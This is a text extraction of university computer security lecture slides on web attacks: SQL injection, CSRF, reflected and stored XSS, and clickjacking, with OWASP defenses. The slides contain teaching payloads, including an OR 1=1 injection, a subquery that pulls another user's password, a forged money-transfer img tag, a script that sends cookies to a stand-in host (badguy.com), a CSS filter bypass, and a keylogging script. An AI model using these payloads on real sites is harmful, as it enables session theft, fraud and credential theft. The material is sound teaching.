Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... ·...

51
Web Attacks, con’t CS 161: Computer Security Prof. Vern Paxson TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin http://inst.eecs.berkeley.edu/~cs161/ February 24, 2011

Transcript of Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... ·...

Page 1: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Web Attacks, con’t

CS 161: Computer SecurityProf. Vern Paxson

TAs: Devdatta Akhawe, Mobin Javed& Matthias Vallentin

http://inst.eecs.berkeley.edu/~cs161/February 24, 2011

Page 2: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Announcements

• Guest lecture a week from Thursday(March 3rd), Prof. David Wagner– Correction: material will not be in scope for

the Midterm• My office hours the week of March 7th will

be by appointment• Homework #2 should be out by tonight,

due in 1 week

Page 3: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Goals For Today

• Make previously discussed web attacksconcrete– SQL injection– Cross-site request forgery (CSRF)– Reflected cross-site scripting (XSS)

• Illustrate additional web attacks– Stored XSS– Clickjacking

• … and discuss defenses

Page 4: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

SQL Injection Scenario

• Suppose web server front end stores URLparameter “recipient” in variable $recipientand then builds up a string with the followingSQL query:$sql = "SELECT PersonID FROM Person WHERE Balance < 100 AND Username='$recipient' ";

• How can recipient cause trouble here?– How can we see anyone’s account?

Page 5: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

SQL Injection Scenario, con’t

WHERE Balance < 100 AND Username='$recipient'; "

• $recipient = foo' OR 1=1; --WHERE Balance < 100 AND

Username='foo' OR 1=1; --' "• Precedence & “--” (comment) makes this:

WHERE (Balance < 100 AND Username='foo') OR 1=1;

• Always true!

Page 6: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Demo Tools

• Bro: freeware network monitoring tool– Scriptable– Primarily designed for real-time intrusion detection– www.bro-­‐ids.org

• Squigler– Cool “localhost” web site(s) (Python/SQLite)– Developed by Arel Cordero– Let me know if you’d like a copy to play with

Page 7: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

def  post_squig(user,  squig):        if  not  user  or  not  squig:  return        conn  =  sqlite3.connect(DBFN)        c        =  conn.cursor()        c.executescript("INSERT  INTO  squigs  VALUES                      ('%s',  '%s',  datetime('now'));"  %                                                          (user,  squig))        conn.commit()        c.close()

INSERT  INTO  squigs  VALUES(dilbert,  'don't  contractions  work?',

           date);Syntax error

Server code for posting a “squig”

Page 8: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

INSERT  INTO  squigs  VALUES(dilbert,  ' ' || (select password from accounts where

username='bob') || ' ',            date);

Page 9: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

INSERT  INTO  squigs  VALUES(dilbert,  ' ' || (select password from accounts where

username='bob') || ' ',            date);

Empty string literals

Page 10: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

INSERT  INTO  squigs  VALUES(dilbert,  ' ' || (select password from accounts where

username='bob') || ' ',            date);

Concatenation operator.

Concatenation of string Swith empty string is just S

INSERT  INTO  squigs  VALUES(dilbert,  (select password from accounts where

username='bob'),            date); Value of the squig will

be Bob’s password!

Page 11: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Web Accesses w/ Side Effects

• Recall our earlier banking URL:

http://mybank.com/moneyxfer.cgi?account=alice&amt=50&to=bob

• So what happens if we visit evilsite.com, whichincludes:

<img  src="http://mybank.com/moneyxfer.cgi?      Account=alice&amt=500000&to=DrEvil">

• Cross-Site Request Forgery (CSRF) attack

Page 12: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Request  (to  127.0.0.1/8080):  GET        /do_squig?redirect=%2Fuserpage%3Fuser%3Ddilbert        &squig=squigs+speak+a+deep+truthHOST:  "localhost:8080"REFERER:"http://localhost:8080/userpage?user=dilbert"COOKIE:  "session_id=5321506"

Web action with side effect

URL fetch for posting a squig

Page 13: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Request  (to  127.0.0.1/8080):  GET        /do_squig?redirect=%2Fuserpage%3Fuser%3Ddilbert        &squig=squigs+speak+a+deep+truthHOST:  "localhost:8080"REFERER:"http://localhost:8080/userpage?user=dilbert"COOKIE:  "session_id=5321506"

Authenticated with cookie thatbrowser automatically sends along

URL fetch for posting a squig

Page 14: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Subversive Script Execution

Page 15: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Cross-Site Scripting (XSS)

• Attacker’s goal: cause victim’s browser to executeJavascript written by the attacker …

• … but with the browser believing that the scriptinstead was sent by a trust server mybank.com– In order to circumvent the Same Origin Policy (SOP),

which will prevent the browser from letting Javascriptreceived directly from evil.com to have full access tocontent from mybank.com

• (Do not confuse with CSRF! CSRF is about webrequests with side effects; XSS is about gettingJavascript treated as though a trusted server sent it)

Page 16: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

16

The Setup• User input is echoed into HTML response.

• Example: search field– http://victim.com/search.php?term=apple

– search.php responds with:

<HTML> <TITLE> Search Results </TITLE><BODY>Results for <?php echo $_GET[term] ?> :. . .</BODY> </HTML>

• How can an attacker exploit this?

Page 17: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

17

Injection Via Bad Input

• Consider link: (properly URL encoded)http://victim.com/search.php?term=

<script> window.open("http://badguy.com?cookie = " +document.cookie ) </script>

What if user clicks on this link?1) Browser goes to victim.com/search.php2) victim.com returns

<HTML> Results for <script> … </script> …3) Browser executes script in same origin as victim.com

Sends badguy.com cookie for victim.comOr any other arbitrary execution / rewrite victim.com page

Page 18: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Demo on (1) Finding and (2) ExploitingReflected XSS vulnerabilities

Page 19: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Cross-Site Scripting (XSS)

Victim client

Page 20: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Cross-Site Scripting (XSS)

Attack Server

Victim client

visit web site1

Page 21: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Cross-Site Scripting (XSS)

Attack Server

Victim client

visit web site

receive malicious page1

2

Page 22: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Cross-Site Scripting (XSS)

Attack Server

Victim client

visit web site

receive malicious page

click on link

1

2

3

Server Patsy/Victim

Exact URL underattacker’s control

Page 23: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Cross-Site Scripting (XSS)

Victim client click on linkecho user input

34

Server Patsy/Victim

Attack Servervisit web site

receive malicious page1

2

Page 24: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Cross-Site Scripting (XSS)

Victim client click on linkecho user input

34

Server Patsy/Victim

Attack Servervisit web site

receive malicious page1

2

execute scriptembedded in inputas though servermeant us to run it

5

Page 25: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Cross-Site Scripting (XSS)

Victim client click on linkecho user input

34

Server Patsy/Victim

Attack Servervisit web site

receive malicious page1

2

execute scriptembedded in inputas though servermeant us to run it

5 perform attacker action

6

Page 26: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Cross-Site Scripting (XSS)

Attack Server

Victim client click on linkecho user input

3

send valuable data

7

4

Server Patsy/Victim

visit web site

receive malicious page1

2

execute scriptembedded in inputas though servermeant us to run it

5

And/Or:

Page 27: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Cross-Site Scripting (XSS)

Attack Server

Victim client

visit web site

receive malicious page

click on linkecho user input

1

2

34

(“Reflected” XSS attacks)

Server Patsy/Victim

execute scriptembedded in inputas though servermeant us to run it

5

send valuable data

7

perform attacker action

6

Page 28: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site
Page 29: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Stored Cross-Site ScriptingAttack Server

Page 30: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Stored Cross-Site ScriptingAttack Server

Server Patsy/Victim

Injectmaliciousscript

1

Page 31: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Stored Cross-Site ScriptingAttack Server

Server Patsy/Victim

User Victim

Injectmaliciousscript

1

Page 32: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Stored Cross-Site Scripting

Server Patsy/Victim

User Victim request content

2

Attack Server

Injectmaliciousscript

1

Page 33: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Stored Cross-Site Scripting

Server Patsy/Victim

User Victim request contentreceive malicious script

23

Attack Server

Injectmaliciousscript

1

Page 34: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Stored Cross-Site Scripting

Server Patsy/Victim

User Victim request contentreceive malicious script

23

Attack Server

Injectmaliciousscript

1

execute scriptembedded in inputas though servermeant us to run it

4

Page 35: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Stored Cross-Site Scripting

Server Patsy/Victim

User Victim request contentreceive malicious script

23

Attack Server

Injectmaliciousscript

1

execute scriptembedded in inputas though servermeant us to run it

4 perform attacker action

5

Page 36: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Stored Cross-Site Scripting

User Victim request contentreceive malicious script

23

Injectmaliciousscript

execute scriptembedded in inputas though servermeant us to run it

4 perform attacker action

5

steal valuable data

6

Attack Server

1

Server Patsy/Victim

And/Or:

Page 37: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Stored Cross-Site ScriptingAttack Server

Server Patsy/Victim

User Victim

Injectmaliciousscriptrequest content

receive malicious script

1

23

(A “stored”XSS attack)

perform attacker action

5

steal valuable data

6

execute scriptembedded in inputas though servermeant us to run it

4

Page 38: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Stored XSS Example: FaceSpace.com

• Users can post HTML on their pages

• FaceSpace.com ensures HTML contains no<script>, <body>, onclick, <a href=javascript://>

• … but, say, can do Javascript within CSS tags: <div style="background:url('javascript:alert(1)')">

• … and can hide "javascript" as "java\nscript"

Page 39: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Stored XSS Example: FaceSpace.com

• Users can post HTML on their pages

• FaceSpace.com ensures HTML contains no<script>, <body>, onclick, <a href=javascript://>

• … but can do Javascript within CSS tags: <div style="background:url('javascript:alert(1)')">

• … and can hide "javascript" as "java\nscript"

Server Patsy/Victim

Makes a wall comment (say)that includes a script snippet

x

Page 40: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Stored XSS Example: FaceSpace.com

• Users can post HTML on their pages

• FaceSpace.com ensures HTML contains no<script>, <body>, onclick, <a href=javascript://>

• … but can do Javascript within CSS tags: <div style="background:url('javascript:alert(1)')">

• … and can hide "javascript" as "java\nscript"

User Victim

Server Patsy/Victim

x

Visits the same wall

Page 41: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Stored XSS Example: FaceSpace.com

• Users can post HTML on their pages

• FaceSpace.com ensures HTML contains no<script>, <body>, onclick, <a href=javascript://>

• … but can do Javascript within CSS tags: <div style="background:url('javascript:alert(1)')">

• … and can hide "javascript" as "java\nscript"

Run arbitrary X in fullFaceSpace context

User Victim

Server Patsy/Victim

x

Page 42: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Stored XSS Example: FaceSpace.com

• Users can post HTML on their pages

• FaceSpace.com ensures HTML contains no<script>, <body>, onclick, <a href=javascript://>

• … but can do Javascript within CSS tags: <div style="background:url('javascript:alert(1)')">

• … and can hide "javascript" as "java\nscript"

Exfiltrate data to attacker and/ormake arb. FaceSpace changes

User Victim

Server Patsy/Victim

x

Page 43: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Demo on (1) Finding and (2) ExploitingStored XSS vulnerabilities

Page 44: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Keys  pressed:  <span  id="keys"></span><script>    document.onkeypress  =  function(e)  {        get  =  window.event?event:e;        key  =  get.keyCode?get.keyCode:get.charCode;        key  =  String.fromCharCode(key);        document.getElementById("keys").innerHTML  +=  key;        }</script>

Squig that does key-logging of anyone viewing it!

Page 45: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Protecting Servers AgainstXSS (OWASP)

• OWASP = Open Web Application Security Project• The best way to protect against XSS attacks:

– Ensure that your app validates all headers, cookies, querystrings, form fields, and hidden fields (i.e., all parameters)against a rigorous specification of what should be allowed.

– Do not attempt to identify active content and remove, filter,or sanitize it. There are too many types of active content andtoo many ways of encoding it to get around filters for suchcontent.

– We [= OWASP] strongly recommend a ‘positive’ securitypolicy that specifies what is allowed. ‘Negative’ or attacksignature based policies are difficult to maintain and arelikely to be incomplete.

Page 46: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Protecting Servers AgainstXSS (OWASP)

• OWASP = Open Web Application Security Project• The best way to protect against XSS attacks:

– Ensure that your app validates all headers, cookies, querystrings, form fields, and hidden fields (i.e., all parameters)against a rigorous specification of what should be allowed.

– Do not attempt to identify active content and remove, filter,or sanitize it. There are too many types of active content andtoo many ways of encoding it to get around filters for suchcontent.

– We [= OWASP] strongly recommend a ‘positive’ securitypolicy that specifies what is allowed. ‘Negative’ or attacksignature based policies are difficult to maintain and arelikely to be incomplete.

Page 47: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Protecting Servers AgainstXSS (OWASP)

• OWASP = Open Web Application Security Project• The best way to protect against XSS attacks:

– Ensure that your app validates all headers, cookies, querystrings, form fields, and hidden fields (i.e., all parameters)against a rigorous specification of what should be allowed.

– Do not attempt to identify active content and remove, filter,or sanitize it. There are too many types of active content andtoo many ways of encoding it to get around filters for suchcontent.

– We [= OWASP] strongly recommend a ‘positive’ securitypolicy that specifies what is allowed. ‘Negative’ or attacksignature based policies are difficult to maintain and arelikely to be incomplete.

Page 48: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Protecting Servers AgainstXSS (OWASP)

• OWASP = Open Web Application Security Project• The best way to protect against XSS attacks:

– Ensure that your app validates all headers, cookies, querystrings, form fields, and hidden fields (i.e., all parameters)against a rigorous specification of what should be allowed.

– Do not attempt to identify active content and remove, filter,or sanitize it. There are too many types of active content andtoo many ways of encoding it to get around filters for suchcontent.

– We [= OWASP] strongly recommend a ‘positive’ securitypolicy that specifies what is allowed. ‘Negative’ or attacksignature based policies are difficult to maintain and arelikely to be incomplete.

UseWhite-listing

BewareBlack-listing

Client-side? HARD

Page 49: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site

Attacks on User Volition

• Browser assumes clicks & keystrokes =clear indication of what the user wantsto do– Constitutes part of the user’s trusted path

• Attack #1: commandeer the focus ofuser-input

Page 50: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site
Page 51: Web Attacks, con’t - University of California, Berkeleycs161/sp11/slides/2.24.web-attacks... · Web Attacks, con’t CS 161: Computer Security ... –SQL injection –Cross-site